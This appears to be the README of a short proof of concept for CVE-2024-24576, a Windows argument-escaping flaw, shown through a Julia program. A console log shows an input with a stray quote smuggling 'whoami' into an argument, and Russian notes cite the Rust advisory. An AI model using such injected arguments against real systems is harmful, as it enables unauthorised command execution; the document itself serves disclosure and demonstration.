
Simple CVE-2024-24576 PoC in Julia
λ julia main.jl
Enter arguments:
hello
Output:
Argument received: hello
λ julia main.jl
Enter arguments:
hello & whoami
Output:
Argument received: "hello & whoami"
λ julia main.jl
Enter arguments:
hello" & whoami
Output:
Argument received: "hello\"
desktop-9zk7mal\lpn
Обратите внимание на экранированный аргумент с " & whoami
ЭТО НЕ МОЯ НАХОДКА!
Источники:
https://github.com/rust-lang/rust/security/advisories/GHSA-q455-m56c-85mh https://www.bleepingcomputer.com/news/security/critical-rust-flaw-enables-windows-command-injection-attacks/